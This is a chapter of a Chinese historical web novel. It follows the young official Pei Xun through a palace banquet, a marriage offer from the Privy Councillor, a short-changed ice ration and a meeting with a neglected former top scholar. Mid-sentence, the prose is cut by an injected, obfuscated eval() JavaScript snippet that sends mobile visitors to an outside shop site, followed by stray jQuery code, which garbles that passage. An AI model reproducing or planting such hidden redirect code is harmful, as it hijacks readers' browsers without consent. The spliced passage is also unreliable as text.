几人相聚后的第二日,便有消息传来,说是陛下破格让段玉堂身兼二职,特意在朝中为他留了工部郎中一职,只待在澶州事务处理完毕后,便可回京。
丽景门里前朝亲王留下的府邸,也被赐给了段玉堂。一时间朝中人人都得知了段玉堂这号人物治水有功,在皇帝面前开了眼。
恰逢皇帝召众臣商讨事宜,并办宫宴以抚慰群臣。裴洵和段玉堂都得了帖子。
两人的座位自在一处,其他的臣子都早早到了,两三人聚在一处畅谈,各有相识。
段玉堂座前自是来来往往的人一波接着一波,各种寒暄,互相吹捧不绝于耳。
“段大人可是治理有方啊!这水灾波及甚广,唯独你澶州,几乎没什么伤亡。陛下可是高兴得紧!”
段玉堂摸了把胡子,故作谦虚道:“过誉了,过誉了!不过是尽分内之事罢了。”
有吃这一套的,以为他真是个谦逊之辈。更有看不惯的,只觉得他虚伪至极。
但无论怎么样,人群中的焦点毋庸置疑是段玉堂。只有少数八面玲珑的顾及脸面,聊完了会问坐在旁边的裴洵一两句。
大多数人却是直接忽略了他。毕竟能被邀请到宫中参加宫宴的,都是五品以上的大员,六品之资能入宫宴已是皇帝开恩,目前在裴洵身上,并没有什么值得他们弯下腰,主动结交的必要。
李公公尖细的嗓音吆喝了一声:“陛下到!”众人便各回到自己的座位上,不再交头结耳。
赵君先是举杯共饮,随后便对诸朝臣道:“在座都是我朝肱骨之臣,燕朝十几年的时间能发展到如此地步,离不开诸位的鼎力相助。虽说一年光景比一年好,可今年先是并州闹疫病,滑州、澶州等地连发水灾,墨州又闹蝗灾,实乃是天地对朕的考验,也是对诸位治理能力的考验。”
朝臣纷纷响应:“臣定当在所不辞!”
赵钧把空酒杯放下,拍手笑道:“好!如此凝聚众力,定当能携手攻克难关。”说完又叹了一口气,神色黯淡,“但朕前些日子也发现了弊病和症结,济州上至知州下至知县沆瀣一气,包藏祸心,危害一方。可是让朕震惊不已,认识到在官员任用这方面并未做到知己知彼。”
“臣等不敢!”群臣作势要跪,被赵钧挥手拦住。
“今日召你们前来,并非怪罪。君臣之间,虽说君是君,臣是臣,却也还得是多相接洽,方能互通情实,日渐相熟啊。”
赵钧端起酒杯,看向特许坐在御前不远处的段玉堂,“卿治水有方,当作我朝中官员表率,日后还需更加勤勉。”
段云堂站起身,整个人陷在云里雾里,手哆哆嗦嗦的喝完了那杯酒,点头称是。
这可是陛下敬酒!他不过排在最末的五品知州,这是何其的恩宠与荣耀!
案几上摆着的是宫中特制的流香酒,度数低,不醉人。皇帝下令用餐,朝臣都拿起筷子和左右熟识的官员推杯换盏。
无人注意到裴洵孤寂地一杯接着一杯喝着酒。
皇帝一声散了吧,群臣便行了礼有序退出宫殿。
“裴通判,留步。”林承业在席间就注意到裴洵的动向,这会儿出来了就直接叫住了他。
见他脸上露出一丝疑惑,林承业解释:“我乃枢密使林承业。”伸出手指了个僻静的地方,“借一步说话。”
“通判可谓是年轻有为,还未加冠就中了状元,真是不遇之才,观你言行也颇有风骨。”
裴洵拱手道:“林大人,您谬赞了,某不敢当。可直接唤我名即可。”
林承业爽朗一笑,“行,你年岁同我女儿相仿,我叫一句小裴应该不逾矩。”
裴洵微微一笑,应下。
“小裴,我听说你如今尚未婚配,可有中意的人选?”林承业打量着他的神色。
裴洵半天没回答,林承业只当裴洵读懂了他的潜在含义,不好意思提及这些儿女情长之事,便用手掌在他背上拍了拍,直接道:“听家中女儿提及与你甚是投缘,我有意与你结亲,你可愿意?”
裴洵一张口,林承业就知道他是要推拒。虽不解有何为难的,但也没逼迫他,只说让他慢慢想,堵住了裴洵将要出口的话。
裴洵面上功夫做得再好,也还年轻,在林承业这种为官几十载的老狐狸面前还嫩了些。
七月的汴京陷入难耐的酷暑,毒辣的日光直直地照在汴京城内每个角落,空气中能闻见烧焦味儿。
但凡有些钱的人家都用上了冰,没那么多钱的也每天得买上一碗冰雪酿丸子下肚,才能稍微抑制住那钻进骨子里的燥热。
每年夏日,皇帝都会开放冰井务①给近臣赐冰,内侍省按名册给宰执、枢密使,学士院、史馆,宗室亲王、近侍重臣送冰。
因今年伏天格外热,赵钧破格将赐冰名额扩大至六品官员。但人一多嘛,肯定就没有内侍省送的荣宠了。
照理说裴洵也是有领冰的份额的,只不过他如今一个人住也没招奴仆,只得自己去皇城司取。
皇城司这几日可真是忙得不可开交,役夫们几乎要跑断了腿,给汴京城里各位达官显贵送冰。四品以下的官员,倒是不由役夫送,可使唤家中的小厮前来取冰,但人员登记也很是繁琐。
裴洵踏进皇城司,一旁冰井务的管事便眼尖的注意到了他,连忙放下手中的活,走到他跟前热情招待。
“大人瞧着有些面生,可是来取冰的?”
裴洵如实报明身份。那管事撑起来的笑脸陡然一变,恢复了方才那副死鱼脸,打着哈欠随便给他指了个方向离开。
取冰的官吏让他登记好姓名,便递给他两个裹着棉布的小匣子。他掂了掂手中的分量总觉得有些不对,便问了那个管理额定的份例是多少。
官吏脸色未变,只说:“裴大人,皇城司颁冰都是额定的,每五日发一次,两匣冰,从未有疏漏。”
两匣冰的重量,怎会如此轻。
见他似乎还有纠缠下去的意思,那官吏脸上渐渐开始不耐烦。裴洵不急着用冰,便没做过多计较拿着东西离开。
走到门口见一小厮也提着两匣子冰出来,他便起了心思,塞了两块碎银子,借匣子一看,满满当当的冰块。
笑了下还给对方,走到无人处打开自己领的两匣子冰,一看竟然比那少了足足半份。
捏着匣子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795687|207646||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的手指用力到泛白,他渐渐意识到,身份低微就注定要被人欺辱。
是这皇城脚下不变的事实。
在汴京只要是归皇帝直属管辖,哪怕是无名小吏也可仰着鼻孔看人。
酷暑难消,那冰很快就用完了。裴洵便日日去崇文院看书,蹭冰鉴的冷气好不至于中暍②。
若要细究,那日赵钧并非只赏了他一座宅子,还允他可入皇宫崇文苑观皇家藏书。
崇文院内包含三馆一秘阁,分别是昭文馆、史馆、集贤馆。
他拿着牌子畅通无阻进了崇文院,连着四日在集贤馆从清晨坐到关门落捎,几个常在馆内忙活的学士也对他眼熟了。兴许是专门和书本打交道,此处的人纯粹些,同他见了面会点头打个招呼,普通寒暄一番,没见有什么区别对待。
昨日未看完的书今日却在书架上找不到了,旁人随手指了个背影清瘦的人叫裴洵问去。
那人也听见了,冲他笑了下把书递给他。
裴洵目光扫到昨日破损模糊不清的字已被补齐,还夹了一张纸条忘记拿出,上写集贤院检讨梁景明于建宁四年七月二十五日修撰。
他记得梁景明是高祖十三年的状元,如今已过去四年,却做着仅比馆阁校勘高一级的集贤馆检讨,主管四部寻常藏书。
他拱手行了个礼,问:“阁下可是高祖十三年的状元梁景明?”
梁景明愣了下,好半晌才缓过来意识到是在叫自己,苦笑了下,“我是。”
裴洵欲言又止,梁景明似乎猜到他要问什么,“裴大人,我早早就听说过你的名字。你想问我为何还在做小小的集贤院检讨是也不是?”
他点头。
梁景明看向那本前朝宰执生平记,低头叹了口气,“命不好罢了,怨不得别人,不是所有状元郎都能得到重用实现抱负的。金榜题名,蟾宫折桂只是开始,并非终点。
裴大人,你的造化比我高,好歹在陛下面前开过眼,好好把握住机会,终有一日会实现你的抱负的。”
当今陛下于高祖十三年末继位,梁景明既非赵钧亲自掌眼相看,又值举国为先帝吊唁,未得大肆宣扬。
而后赵钧熟悉朝政,广开言路,重用文官,升擢提拔。朝中能臣众多,人才辈出,自然想不起来先帝最后一载钦点的状元郎在哪儿了。
裴洵步伐沉重离开集贤院,回到潘楼街住宅。未点灯,一人孤坐在石凳上,手在空中虚虚抓了抓,忽然有些想念姜不晚和孩子。
这官场,比他想象中还要糟糕。
可他若不孤身一试,只会遭受比现在更严重的打压,承受数不尽的屈辱。以往的十几年他都一一尝够了。
十几年的蛰伏,容忍,积淀,赴任后半年的呕心沥血,殚精竭虑,哪有半途而废的道理。
他比谁都知道,人的嫉妒心何其可怕,更何况是对英才呢?
…………
年号我有点忘了,不知道在哪一章提的,有小伙伴记得的话,可以帮我捉个虫
①冰井务:隶属皇城司。负责冬日凿冰入窖储藏,夏日供宗庙、大内,奉旨颁冰赐臣僚。
②中暍:yē,中暑。